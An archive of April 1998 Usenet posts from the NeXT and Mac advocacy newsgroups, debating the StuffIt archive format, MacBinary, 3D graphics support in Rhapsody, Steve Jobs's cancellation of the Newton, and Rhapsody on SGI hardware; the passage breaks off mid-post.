>> On 04/20/98, M Rassbach wrote:
>> >Beat them at their own game.
>> Uh, thats fine and dandy, except that we're talking about
>> Rhapsody here, not Mac OS.
>
>Then declare the Mac a legacy App, And tell them that the rest of
the
>world is using compress/gnutar/gzip and if they want to move data
over,
>they need to decompress the files and re-compress them the accepted
Unix
>way.
Yeah.. hassle the users.. thats the best way to get things
done.
>(besides, what good are Mac apps on a Unix box?)
>
Geez, think a bit about the situation..
Documents are useful... images, sounds, html, text,
source-code, all of these are cross-platform useable, if you can get
them out of the archives.
Telling users to convert all their documents isn't helpful.
Two years from now they pick up a ZIP disk, find that it has something
they've been looking for on it, and they can't get it out of the damn
archive.
I STILL encounter this more than 4 years after I moved the
vast majority of my data over to the NeXT.
>If Mac users are willing to read and write PC disks, surely they can
>compress their files in a compatible way.
Extra steps, extra transfers... all this because .sit is a
propriatary format.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Petition to Alladin?
Date: 21 Apr 1998 20:12:26 GMT
Organization: Digital Fix Development
Message-ID: <6hiuja$36n$1@news.digifix.com>
References: <01bd6cff$da3af880$23f0bfa8@davidsul> <353C030C.A48C6D2E@milestonerdl.com> <6hh3t0$c1l$1@news.digifix.com> <forrestDELETE-THIS!-2004982259110001@term1-10.vta.west.net>
In-Reply-To: <forrestDELETE-THIS!-2004982259110001@term1-10.vta.west.net>
On 04/20/98, Forrest Cameranesi wrote:
>Scott, could you just do a clean-room .sit decompression engine, or
would
>that we way over your head? (I wouldn't know, I'm not a programmer, I
just
>hang around a lot of them).
>
It could be done, but you'd need to have alot of time and
effort into it. The 'reasoning' behind the propriatary nature is that
the format changes from time to time, and as a result, they can make
changes to accomodate that.
So you'd have to search out all the versions, back-engineer
the file formats, and the compression formats, and such..
Frankly, its more effort than I have the time for.. OpenUp is
a side project that is freely available.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: mbkennel@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Laptop Survey
Date: 21 Apr 1998 18:57:03 GMT
Organization: The Avant-Garde of the Now, Ltd.
Message-ID: <slrn6jpqvv.hmj.mbkennel@lyapunov.ucsd.edu>
References: <6hfq41$ic$1@ha2.rdc1.sdca.home.com> <rmcassid-2004981012070001@dante.eng.uci.edu>
On Mon, 20 Apr 1998 10:12:07 -0700, rmcassid@uci.edu <rmcassid@uci.edu> wrote:
:In article <6hfq41$ic$1@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com wrote:
:
:>In one Survey of market penetration, albeit informal, Apple is winning in the
:>Coffeehouses. Apple dominates in the number of laptop computers actively in
:>use by coffeehouse patrons in So. Calif.
:>
:>-r
:
:Wow. Rex, that has to be just about the most random thing I think I've
:seen you write. Thanks.
Hey. In LA, everybody is working on their own screenplay.
(I'm doing nonlinear time series analysis and TeX under Linux on my Hitachi.).
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: Michael Peck <ECK@CONVEX.COM>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AM/etc requirements for Yellow Box apps (Was Re: Mac
Date: Tue, 21 Apr 1998 16:24:18 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <353D0E82.77CB@CONVEX.COM>
References: <6hesjg$g95$1@vixen.cso.uiuc.edu> <353B6C07.30F97F82@nstar.net> <rex-2004981525550001@192.168.0.3> <6hghqg$ajt$1@new-news.cc.brandeis.edu>
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Nathan G. Raymond wrote:
> Apple's not in the 3D hardware race. They've developed a comprehensive
> set of extensible 3D APIs that offer a high degree of abstraction. QD3D
> could act as the superset for OpenGL if Apple went in that direction.
> (Perhaps Microsoft's part ownership of OpenGL is slowing them?)
Microsoft doesn't have part ownership of OpenGL. Microsoft is a
voluntary member of the ARB that controls the OpenGL specification,
contributing money and development and ideas and customers.
Apple is not and never has been a member of the OpenGL ARB. If anything
has been slowing adoption of OpenGL, it is companies that drag their
feet and pretend to have an alternative strategy ("we're just not
telling anyone yet what it is!").
> And
> besides, the big mover and shaker in the 3D industry is 3Dfx with its
> Glide API and Voodoo chipset that in most incarnations can't even share
> the screen with 2D graphics.
I don't understand the point you're trying to make here. The movers and
shakers of the 3D industry are OpenGL in terms of API, 3DLabs,
AccelGraphics, Oxygen, Evans&Sutherland and others in hardware, and the
8 members of the OpenGL ARB in vision and direction.
Oh, I guess you meant "the big mover and shaker in Quake and Quake II".
That's not really the market I'm addressing with my comments. And in any
case, you're wrong. GLIDE is out of favor and Voodoo faces intense
competition from the i740, RIVA ZX/TNT, MGA-G200, and other chipsets.
Within a short time, such 3D solutions will sit on a
specially-integrated $200 video/sound/game card for people who think a
computer is a game console, and will be thoroughly distinguishable from
professional 3D hardware of the kind that I am discussing.
In fact, it already is. The several-thousand-dollar FireGL 4000 runs
Quake II *awfully*. It's not designed to run high-framerate,
color-blended, massive-high-resolution-texture, minimal-polygons,
minimal-lights OpenGL scenes and throw them at a high-bandwidth graphics
bus for movielike realism.
It *is* designed for high-end CAD, visualization, modelling, art, and
other professional 3D applications, and it does a fantastic job running
such software as SoftImage, Alias/Wavefront, and 3D Studio Max.
> Rhapsody in no way impedes 3D, but if Apple integrated OpenGL support and
> third party vendors offered higher end cards, things would look better.
> It'd also be nice to see RenderMan support built in again.
Jobs impedes 3D. I can see zero logic in using Rhapsody for professional
computer-assisted design work (one of the principle markets for desktop
high-end workstations, the very market Apple claims to be targeting for
Rhapsody). Hell, even *2D* designers in publishing and CAD are using
accelerated hardware nowadays.
Maybe Apple can make a lot more QuickTime 3.0 noise and blow more smoke
over the issue. I don't think anybody will be fooled, though. I think
they're just going to take QuickTime 3.0 and run it on their NT
machines.
MJP
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From: Michael Peck <ECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: Tue, 21 Apr 1998 16:39:23 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <353D120B.3B3B@CONVEX.COM>
References: <don_arb-1904982240580001@sea-ts2-p64.wolfenet.com> <joe.ragosta-2004980639400001@elk52.dol.net>
<353CEFFF.DDC5D0B4@samkass.com> <353CF4AF.3135@convex.com>
<6hj0ki$52j@newsb.netnews.att.com> <353D06AD.5412@CONVEX.COM> <6hj32i$hr2$1@ha2.rdc1.sdca.home.com>
Mime-Version: 1.0
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Rex Riley wrote:
> > As revenues continue to plunge.
>
> Tsck, tsck... Michael - How many balls can this re-startUp company juggle?
You know what? I'm not even going to play that game. I'm think Jobs is
screwing the pooch, and I don't even want to discuss the excuses or
mitigating circumstances. Anyone who gets into that just gets egg on
their face. Michael Dell was once quoted, under pressure, as saying that
he wouldn't want the position Jobs has; he'd shut down the company
instead. All he got for that was intense ridicule.
MJP
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From: Wesley Horner <wesman@azrael.uoregon.edu>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on SGI!
Date: 21 Apr 1998 22:47:12 GMT
Organization: University of Oregon, Eugene
Message-ID: <6hj7lg$gv6$3@pith.uoregon.edu>
References: <6hj4s6$61q@news.nd.edu>
Steven M. Boker <sboker@calliope.psych.nd.edu> wrote:
> For years I've been wishing that the NeXTSTEP interface could be
> running on SGI machines. What a combo. But sadly, never to be.
> However, SGI just announced that they will be developing machines
> with Pentium and Merced chips. At first it made me mourn the
> assimilation of another world by the Borg. But just now I realized
> that this means that Rhapsody is only a couple of drivers away
> from running on the announced low-end SGIs. What a concept!
I was talking about this very thing in the SGI newsgroup. Thus far no one has
shown much interest. I think it is a great idea and hope that it happens
someday.
wes
--
~~~~wesman@gladstone.uoregon.edu~~~~~~~~~~NeXTMail OK!~~~~~~~~~~~~~~~~
Vax a vicious creature known to eat 110AC and quotes through its
*DCL*. Vax are usually found in groups of Vaxen called clusters where
they lay in wait to ravage thier prey known as users.
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on SGI!
Date: 21 Apr 1998 18:18:36 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6hints$99c$1@ns3.vrx.net>
References: <6hj4s6$61q@news.nd.edu> <01bd6d64$7b8394e0$04387880@test1>
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Cc: todd@NetSQ.com
In <01bd6d64$7b8394e0$04387880@test1> "Todd Heberlein" claimed:
> SGI had announced plans for an entry-level NT box on x86 hardware for
> about nine months ago, so SGI will be joining Digital and HP as major
> UNIX vendors who support NT on x86 hardware.
Digital is a major Unix vendor? Don't they have about 5% of that already
small market? Don't get me wrong, I'm not down on DEC Unix, but saying that
DEC is a major player in the Sun/SGI/HP market seems odd.
However it's worth noting that it appears quite likely that the final CR1
of Rhapsody will be rather OSF/1-ish. That would make it one of the easier
machines to port to, of the selected set of new-CPU/new-Unixen.
> SGI also (I believe) has announced that it will port its IRIX operating
> system to the Merced hardware, joining virtually every UNIX vendor who
> has announced Merced support. There have also been several reports of
> Apple's plan to support Rhapsody on Merced.
Why doesn't Apple just BUY SGI? The match is too good.
Maury
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AM/etc requirements for Yellow Box apps (Was Re: Mac
Date: Tue, 21 Apr 1998 20:41:35 -0400
Organization: THe Small & Mighty Group
Message-ID: <rex-2104982041350001@192.168.0.3>
References: <6hesjg$g95$1@vixen.cso.uiuc.edu> <353B6C07.30F97F82@nstar.net> <rex-2004981525550001@192.168.0.3> <6hghqg$ajt$1@new-news.cc.brandeis.edu>
In article <6hghqg$ajt$1@new-news.cc.brandeis.edu>, xray@cs.brandeis.edu
(Nathan G. Raymond) wrote:
:>In article <rex-2004981525550001@192.168.0.3> rex@smallandmighty.com
(Eric King) writes:
:>In article <353B6C07.30F97F82@nstar.net>, Michael Peck
<mjpeck@nstar.net> wrote:
:
:[snip]
:Apple's not in the 3D hardware race.
If they're claiming to have the best platform for content-creation,
then *yes* they *are*.
: They've developed a comprehensive
:set of extensible 3D APIs that offer a high degree of abstraction.
Which they have announced will never reach version 2.0. They also cut
back on the staff.
:QD3D could act as the superset for OpenGL if Apple went in that direction.
And if Apple was still doing any real serious development with it.
:besides, the big mover and shaker in the 3D industry is 3Dfx with its
:Glide API and Voodoo chipset that in most incarnations can't even share
:the screen with 2D graphics.
3DFX is big in the entertainment market, but that's about it. It's not
optimized for CAD, Visualization, or some of the other 3D markets. These
are the markets Apple really needs to secure their content-creation
niches.
:Rhapsody in no way impedes 3D, but if Apple integrated OpenGL support and
:third party vendors offered higher end cards, things would look better.
Well, that's the crux of it, now isn't it. Apple could implement OpenGL
and I'm sure a few vendors like 3DLabs would write drivers for Rhapsody.
But will that be enough? I have a feeling an SGI NT box will run rings
around *anything* Rhapsody system Apple could produce and probably cost
less too. Apple's going to have to do a lot wheeling and dealing to get
drivers written for all of the hot hardware coming out. I just don't think
they're committed enough to 3D.
:It'd also be nice to see RenderMan support built in again.
It'd be nicer if QD 3D was being *aggressively* enhanced and more
plug-in renderers for it were being written.
-Eric
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Petition to Alladin?
Date: 21 Apr 1998 20:19:20 GMT
Organization: Digital Fix Development
Message-ID: <6hiv08$3e3$1@news.digifix.com>
References: <01bd6cff$da3af880$23f0bfa8@davidsul> <353C030C.A48C6D2E@milestonerdl.com> <6hh3t0$c1l$1@news.digifix.com> <353C0FD7.B490AEAB@milestonerdl.com> <6hhas2$eef$1@news.digifix.com> <6hhmkd$e3g$1@ns3.vrx.net>
In-Reply-To: <6hhmkd$e3g$1@ns3.vrx.net>
On 04/21/98, Maury Markowitz wrote:
>In <6hhas2$eef$1@news.digifix.com> Scott Anguish claimed:
>> I do have some ideas on the Mac problems, and I've outlined
>> them on a mailing list... they allow you to encode all the
Macintosh
>> specific information (resource forks/finder info etc..) using
existing
>> standard, documented formats.
>
> May I ask what that is? Please don't let it be AppleSingle.
>
No, it wasn't AppleSingle...
Although its certainly possible to use either AppleSingle, or
AppleDouble, my suggestion was MacBinary...
Very low overhead (128bytes)
Easy to read
Easy to write
Programs are available on virtually every platform to
manipulate the contents.
I've already written (under contract to a company)
AppleSingle/AppleDouble and MacBinary encoders and decoders... that,
combined with resource access code is quite handy for converting old
files and accessing legacy data..
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: 21 Apr 1998 20:47:14 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6hj0ki$52j@newsb.netnews.att.com>
References: <don_arb-1904982240580001@sea-ts2-p64.wolfenet.com> <joe.ragosta-2004980639400001@elk52.dol.net> <353CEFFF.DDC5D0B4@samkass.com> <353CF4AF.3135@convex.com>
Originator: gupta@tlctest
Michael Peck <ECK@CONVEX.COM> wrote:
>Sam Kass wrote:
>
>> I think the only evidence so far is that Amelio was generally on the right
>> track, albeit traveling much too slowly.
>
>Exactly. Which is a new message for this newsgroup.
>
>MJP
Amelio may have been wrong on
a. cloning ( Apple + cloners should have worked out a more
effective strategy. For example, if Power
or Motorola had signed a deal like that Apple has
with CompUSA, or Motorola had run the ads.
comparing PowerPC to Intel (wouldn't that have
been appropriate, rather than Apple having to
do it) perhaps it could have actually increased
or at least held steady Macintosh marketshare in
the PC market. As it was, Jobs was probably
right that Apple should go it alone.)
b. Newton (supposedly Amelio's keeping the Newton was against
various recommendations.)
-arun gupta
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: 21 Apr 98 14:14:46 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B1625A63-92D76@207.217.155.145>
References: <MPG.fa4876a49b5a7429898ba@news.supernews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.earthlink.net/comp.sys.next.advocacy
Donald Brown wrote:
>Worse, it's stupid. Any developer who got that letter will never believe
>Jobs again. Apple claims an Allegro lite will replace the Newton OS for
>small devices. If you were a developer who just got burned bad by Jobs'
>personal lying and Apple playing fast and loose with their market, and
>you were now looking at developing for PalmPilot, WinCE, or this nebulous
>Allegro Lite, which are you going to work on?
On top of that, to then put the "Newton developers will receive a
complimentary membership in Apple's Associates program" line in the press
release was more salt for the wounds. The predictable effect is that when a
Newton developer bitches about the above treatment that Donald describes,
people say, "Well, Apple gave you a membership in its MacOS program, what
more do you want, cookies at your protest rally?"
That membership was worth $250, now $500. As mmalc mentioned in another
discussion, $500 is peanuts to a serious developer, and I would add, doable
by anyone who wants to be serious. But 6 months of 20 hour days without a
"paycheck", or tens of thousands of investors' (or personal) dollars is not
peanuts.
When Apple cancels a technology, it basically throws other people's
investments away on their behalf. Fine, some say. That's why the word is
"investment". Bad things happen occasionally, if not fairly often. When
Apple cancels a technology the way Jobs cancelled the Newton (and handled
other techs), investors (developers and customers too) look like idiots.
Again, some say fine. As David Krathwohl told me, that's the way Steve Jobs
is and they have no control over him. Steve Jobs happens. But can't I get
anyone to agree that piling on by then using the
developers/investors/customers you just trashed as props in a press release
doesn't demonstrate a total lack of class?
It's sickening and it starts at the top.
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
Got OpenDoc? Got Cyberdog? Then try Rapid-I Button. Tried it? Then buy it!
Point your Cyberdog to the Hutchings Software web site.
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Petition to Alladin?
Date: 21 Apr 1998 16:52:58 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6hiita$5gq$1@ns3.vrx.net>
References: <01bd6cff$da3af880$23f0bfa8@davidsul> <353C030C.A48C6D2E@milestonerdl.com>
<6hh3t0$c1l$1@news.digifix.com> <353C0FD7.B490AEAB@milestonerdl.com>
<6hhas2$eef$1@news.digifix.com> <6hhmkd$e3g$1@ns3.vrx.net>
<6hiv08$3e3$1@news.digifix.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Cc: sanguish@digifix.com
In <6hiv08$3e3$1@news.digifix.com> Scott Anguish claimed:
> No, it wasn't AppleSingle...
Good.
> Although its certainly possible to use either AppleSingle, or
> AppleDouble, my suggestion was MacBinary...
Oh thank gawd. MacBin is the only one that's pretty much going to work for
EVERYONE, the other formats are not terribly well supported in older tools so
sending one to some EDU Mac from back when they were silver won't help you,
but with MacBin it likely will work anyway. The only disadvantage is the
inability to work with HFS+ or UFS filenames, but that could likely be
handled by a variant record.
Maury
From: rmcassid@uci.edu
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AM/etc requirements for Yellow Box apps (Was Re: Mac
Date: Tue, 21 Apr 1998 14:56:54 -0700
Organization: University of California, Irvine
Message-ID: <rmcassid-2104981456540001@dante.eng.uci.edu>
References: <6hesjg$g95$1@vixen.cso.uiuc.edu> <353B6C07.30F97F82@nstar.net> <rex-2004981525550001@192.168.0.3> <6hghqg$ajt$1@new-news.cc.brandeis.edu> <353D0E82.77CB@CONVEX.COM>
In article <353D0E82.77CB@CONVEX.COM>, Michael Peck <ECK@CONVEX.COM> wrote:
>Jobs impedes 3D. I can see zero logic in using Rhapsody for professional
>computer-assisted design work (one of the principle markets for desktop
>high-end workstations, the very market Apple claims to be targeting for
>Rhapsody). Hell, even *2D* designers in publishing and CAD are using
>accelerated hardware nowadays.
But Parametric is on the record recently stating that they found that unix
really was a much better platform for hosting CAD than say, NT. But one
problem with hosting CAD on a unix is the UI wonkiness and the difficulty
in using it for mainstream solutions in addition to CAD. Rhapsody seems to
have the potential to sit nicely in between a traditional unix and NT on
this. Given that they were about the first company to announce a Rhapsody
version of something, I think they see Rhapsody as attractive.
Apple engineers have stated that OpenGL is coming to QTML. I don't see
then why there wouldn't be hardware acceleration drivers available
especially when QTML provides APIs to help.
-Bob Cassidy
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Tue, 21 Apr 1998 20:08:56 -0400
Organization: THe Small & Mighty Group
Distribution: world
Message-ID: <rex-2104982008560001@192.168.0.3>
References: <1d7dqhy.19vqngyw020lcN@rhrz-isdn3-p18.rhrz.uni-bonn.de> <353C18CF.59F87E7C@nstar.net> <6hhht9$57p$15@ironhorse.plsys.co.uk> <6hi2nb$q6n@nrtphc11.bnr.ca>
In article <6hi2nb$q6n@nrtphc11.bnr.ca>, Matthew Cromer
<matthew_cromer@iname.com> wrote:
:In article <rex-2004982019030001@192.168.0.3> Eric King,
:rex@smallandmighty.com writes:
:>:
:>:Lawson, what changes to *FILE* format? HFS+ is a disk format, not a file
:>:format change.
:>
:> You should do a bit more research. HFS+ includes long file name and
:>unicode support. Support for those would require changes in Stuffit.
:>Probably not major changes, but changes none-the-less.
:
:
:But those features are not implemented in 8.1 yet.
AFAIK, they're implemented, it's just that the new APIs haven't been
exposed, nor have the old APIs been revamped to handle the new format.
It's more correct to say, they're there, but we can't use them in 8.1. In
any event, it would really be a boon for the developer of such a product
to get early access to the OS and SDKs.
-Eric
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: 21 Apr 1998 21:28:50 GMT
Organization: @Home Network
Message-ID: <6hj32i$hr2$1@ha2.rdc1.sdca.home.com>
References: <don_arb-1904982240580001@sea-ts2-p64.wolfenet.com> <joe.ragosta-2004980639400001@elk52.dol.net>
<353CEFFF.DDC5D0B4@samkass.com> <353CF4AF.3135@convex.com>
<6hj0ki$52j@newsb.netnews.att.com> <353D06AD.5412@CONVEX.COM>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: ECK@CONVEX.COM
In <353D06AD.5412@CONVEX.COM> Michael Peck wrote:
> gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
>
> > Amelio may have been wrong on
> > a. cloning ( Apple + cloners should have worked out a more
>
> I won't even get into this again.
>
> > b. Newton (supposedly Amelio's keeping the Newton was against
> > various recommendations.)
>
> But not, apparently, the recommendations of customers. Silly Amelio!
> Jobs has since proven that ignoring customers is a smarter way of doing
> business.
>
> As revenues continue to plunge.
>
>
Tsck, tsck... Michael - How many balls can this re-startUp company juggle?
-r
Rex
From: sboker@calliope.psych.nd.edu (Steven M. Boker)
Newsgroups: comp.sys.next.advocacy
Subject: Rhapsody on SGI!
Date: 21 Apr 1998 21:59:34 GMT
Organization: University of Notre Dame
Message-ID: <6hj4s6$61q@news.nd.edu>
For years I've been wishing that the NeXTSTEP interface could be
running on SGI machines. What a combo. But sadly, never to be.
However, SGI just announced that they will be developing machines
with Pentium and Merced chips. At first it made me mourn the
assimilation of another world by the Borg. But just now I realized
that this means that Rhapsody is only a couple of drivers away
from running on the announced low-end SGIs. What a concept!
Cheers
Steve
--
Steven M. Boker 219-631-4941 (voice)
sboker@nd.edu 219-631-8883 (fax)
http://www.nd.edu/~sboker/ 219-257-2956 (home)
Dept. of Psychology, University of Notre Dame, Notre Dame, IN 46556
From: "Todd Heberlein" <todd@NetSQ.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on SGI!
Date: 21 Apr 1998 22:41:02 GMT
Organization: Net Squared, Inc.
Message-ID: <01bd6d64$7b8394e0$04387880@test1>
References: <6hj4s6$61q@news.nd.edu>
Steven M. Boker <sboker@calliope.psych.nd.edu> wrote
> For years I've been wishing that the NeXTSTEP interface could be
> running on SGI machines. What a combo. But sadly, never to be.
>
> However, SGI just announced that they will be developing machines
> with Pentium and Merced chips. At first it made me mourn the
> assimilation of another world by the Borg. But just now I realized
> that this means that Rhapsody is only a couple of drivers away
> from running on the announced low-end SGIs. What a concept!
SGI had announced plans for an entry-level NT box on x86 hardware for
about nine months ago, so SGI will be joining Digital and HP as major
UNIX vendors who support NT on x86 hardware.
In this aspect, certainly OpenStep will be able to run on the SGI box,
but it may not be any more exciting than OpenStep on any other NT/x86
box.
SGI also (I believe) has announced that it will port its IRIX operating
system to the Merced hardware, joining virtually every UNIX vendor who
has announced Merced support. There have also been several reports of
Apple's plan to support Rhapsody on Merced.
However, even if IRIX and Rhapsody run on Merced, there isn't any
strong reason to expect OpenStep on IRIX on Merced.
IMHO, I would really like to see OpenStep supported on virtually every
UNIX kernel running on Merced (and other CPUs as well). I believe that
if Apple and OpenStep are to be successful, OpenStep must be viewed to
be as ubiquitous as what the Java people plan/promote for the Java
libraries.
Todd
From: "Todd Heberlein" <todd@NetSQ.com>
Newsgroups: comp.sys.next.advocacy
Subject: Rhapsody where and how
Date: 21 Apr 1998 22:50:14 GMT
Organization: Net Squared, Inc.
Message-ID: <01bd6d65$c5432b80$04387880@test1>
A recent post about the potential for OpenStep on IRIX for Merced got me
thinking...
o Apple has announced Rhapsody will continue to support x86 hardware.
o Apple has announced that it has no plans to sell x86 hardware.
o There have been rumors about MacOS (and MacOS applications??) running on
x86.
o Will Apple simply sell Rhapsody for x86 through its on-line store?
o Will Apple license Rhapsody for x86 to computer manufacturers (e.g.,
Compaq)?
o Will Apple strike any deals to have OpenStep bundled with systems
shipping with NT (e.g., Compaq NT system)?
o Will Apple try to move OpenStep beyond the Win32 and Rhapsody/MacOS
world?
o Finally, does Apple have a timeline for any of this?
Just some thoughts/questions,
Todd todd@NetSQ.com
From: no@spam.com (Steve Jones)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Final Words on Rhapsody as a Server OS
Date: Tue, 21 Apr 1998 23:33:09 -0500
Organization: The Ohio State University
Message-ID: <no-2104982333090001@grv230155.columbus.rr.com>
The following paragraph is from a great article on Stepwise:
----------------
"So, take heart, Rhapsody enthusiasts. Rhapsody is cool beyond belief and
is coming to a
system near you. Remember, even if everyone at Apple marketing had a brain
aneurism
and decided Rhapsody really will be a server OS forever, it really isn't
their decision.
It's ours. It's not like they're going to give us a worksheet when we buy
our Macintosh,
and if we check the "client and server" box they say, "Nope, sorry, we
can't sell you
Rhapsody, it's only for servers."
-Wil Shipley is the President of Omni Development, Inc, a long-time
OpenStep developer.
----------------
I think this is an excellent take on the whole matter, becuase I know that
when Rhapsody does finally hit the shelves, I'm going to be there to buy
it. I've had a chance to use DR1 and Blue Box, and it seems like an
acceptable solution for me until there are native Rhapsody apps around.
And I'm sure there are many more people out there who are going to upgrade
as well.
The whole article is here:
http://www.stepwise.com/Articles/Editorial/wjs_ServerOS.html
and is definitely worth the read.
Steve
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 22 Apr 1998 03:47:54 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6hjp9a$gpi$2@quasar.dimensional.com>
References: <199801202218001457904@ppp8.hol.fr> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fnt3g$r69$1@news.cs.tu-berlin.de> <6fva58$6th$1@quasar.dimensional.com> <slrn6i8057.kjl.sal@panix3.panix.com> <6g6f8i$atu$2@quasar.dimensional.com> <slrn6ife6g.dbp.sal@panix3.panix.com> <6g8fl6$la7$1@quasar.dimensional.com> <slrn6igl3f.qlh.sal@panix3.panix.com> <6ggm4n$1kt$4@quasar.dimensional.com> <slrn6jdmrc.3u2.sal@panix3.panix.com> <6harth$d4f$1@quasar.dimensional.com> <slrn6jk5fa.rln.sal@panix3.panix.com>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
In comp.os.linux.advocacy , article <slrn6jk5fa.rln.sal@panix3.panix.com> , Salvatore Denaro <sal@panix3.panix.com> wrote:
>>THis one is a broken link:
>>" Your search did not match any articles at all. "
> Yes, that was to show that I never used that phrase
what phrase? distributed objects? If that were a query for distributed
objects, it would have at least turned up this thread.
>>> As you can see, I did not use that phrase until you made claims that I
>>> lied about it.
>>> I did post about PDO, and this is the URL for it
>>> http://x4.dejanews.com/getdoc.xp?AN=312243574&CONTEXT=892787299.1704284&hitnum=0
>>That's not even in the thread.
> If you did some searches in dejanews (like I did) you'll see that I never made
> those claims.
Find me the article where I asked what "Distributed Objects" where, and
after you replied, "I must admit, this sounds powerful" or something like
that, and you said they were a Rhapsody advantage.
Certainly, you can REMEMBER that?
>>> I made it very clear that this was an Apple product, and I made no claim
>>> that is was unique to Apple or to C++
>>You claimed that distributed objects, were somehow exclusive and/or better on
>>Objective C and C++.
> Show me the article where I said that and I'll mail you $10.
My time's not worth that. Deja News takes 30 or 45 minutes to track down
specific messages that frequent posters like you and I posted.
> I never said that.
> Whenever I mentioned "distributed objects" I made it very clear that I was
> talking about PDO, an Apple/NeXT product. If you look at the link above, you'll
> see that I even posted refrences to the URL where you can get more info on the
> product.
If that's what you meant, I read it meaning it were Next-exclusive (as in
the OS).
At any rate, I don't care.
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 22 Apr 1998 03:53:56 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6hjpkk$gpi$3@quasar.dimensional.com>
References: <199801202218001457904@ppp8.hol.fr> <6fvapb$6th$3@quasar.dimensional.com> <6fvmkt$i4c$4@ns3.vrx.net> <6g6fhr$atu$3@quasar.dimensional.com> <352A6D21.3FC9A99@cisco.com> <6ggn3g$1kt$6@quasar.dimensional.com> <6ggsgj$fit$9@anvil.BLaCKSMITH.com> <6gh9i2$oop$8@ironhorse.plsys.co.uk> <6gis4a$6j$3@anvil.BLaCKSMITH.com> <6gm8ou$hom$4@quasar.dimensional.com> <6gq9kh$oop$22@ironhorse.plsys.co.uk> <6gunnn$4m9$6@quasar.dimensional.com> <6hg009$57p$10@ironhorse.plsys.co.uk>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
In comp.os.linux.advocacy , article <6hg009$57p$10@ironhorse.plsys.co.uk> , mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>>> It's OK Ken, you said you're a C++ fan. I think I'll pass on this.
>> What's wrong, mmalc? Don't care to stand behind your statements about my
>> code, eh?
> No, it means that if it involves reading through C++, then I'd rather not be
> a judge.
Alright... fine with me!
>> Anyway... I didn't have get to my accounting program idea. But I did get to
>> programming Sunday afternoon and after supper today. But without my notes
>> on accounting, I just programmed a simple little idea I've been toying
>> with.
>> This one Python code, BTW... Not as elegant as C++, but it has its
>> advantages.
> "Python code ... Not as elegant as C++"
> Sheesh, maybe Damien Hurst is producing Art after all.
LOL! I maintain that Python code is not as elegant as C++, but I do like
Python's syntax, and I also like the fact that I get things like
